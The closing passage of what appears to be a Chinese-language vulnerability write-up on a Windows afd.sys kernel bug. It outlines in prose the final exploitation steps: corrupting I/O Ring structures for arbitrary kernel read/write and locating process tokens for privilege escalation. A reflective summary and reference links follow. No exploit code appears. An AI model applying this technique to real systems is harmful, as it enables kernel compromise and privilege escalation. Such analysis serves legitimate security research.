  5. 利用内核写漏洞修改 IORING_OBJECT 中的 RegBuffersCount 字段和 RegBuffers,同时需要修改 HIORING 中的 RegBufferArrayBufferArraySize
  6. 将假缓冲区中索引 0 (索引值可以修改)位置保存的 IORING_BUFFER_INFO 结构中的相关字段修改为想要读取/写入的地址及大小信息。这一步仍旧需要使用 NtQuerySystemInformation 函数得到目标进程和本进程的 TOKEN 地址;
  7. 利用 BuildIoRingReadFileBuildIoRingWriteFile 进行内核的写入和读取操作。

代码位于 Github

7. 总结

总体来看,除了漏洞利用部分的知识点,整篇文章涉及的内容都在我的能力范围之内,至少我是应该可以写出 PoC 代码的,但是我仍旧不确定在脱离原文的指导下,自己是否能够成功完成。

仔细想了一下,我的整个分析过程之所以能这么顺利,是因为我知道自己是能够成功的,因为有一篇前人的文章在那里,它只有那么长,我知道自己付出足够而且并不会太长的时间,就能够到达目的地,因此只需要一心一意的分析下去就可以。

可是如果自己面前真的只有一个 afd.sys 文件,我可能到 5.1 小节的步骤就开始怀疑自己,漫无目的地查找各种资料,然后被某个知识点吸引,分散了注意力,最后漏洞分析失败了。

回到漏洞本身,这个漏洞确实分析起来很简单,它的补丁修改代码很少,漏洞函数调用链短而且直接,同时网上也有一些关于 AFD 的分析资料。反而是 I/O Ring 这个漏洞利用角度很有意思,因为这是一个 Windows 新加入的特性,甚至写操作本身只能在 Windows 11 22H2 中实现,有些数据结构的字段还在不断变化,不知道在后续开发过程中,微软是否会对预分配缓冲区的使用方式进行完善,很值得继续关注。

8. 参考链接

  1. Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours
  2. One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11
  3. One Year to I/O Ring: What Changed?
  4. I/O Rings – When One I/O Operation is Not Enough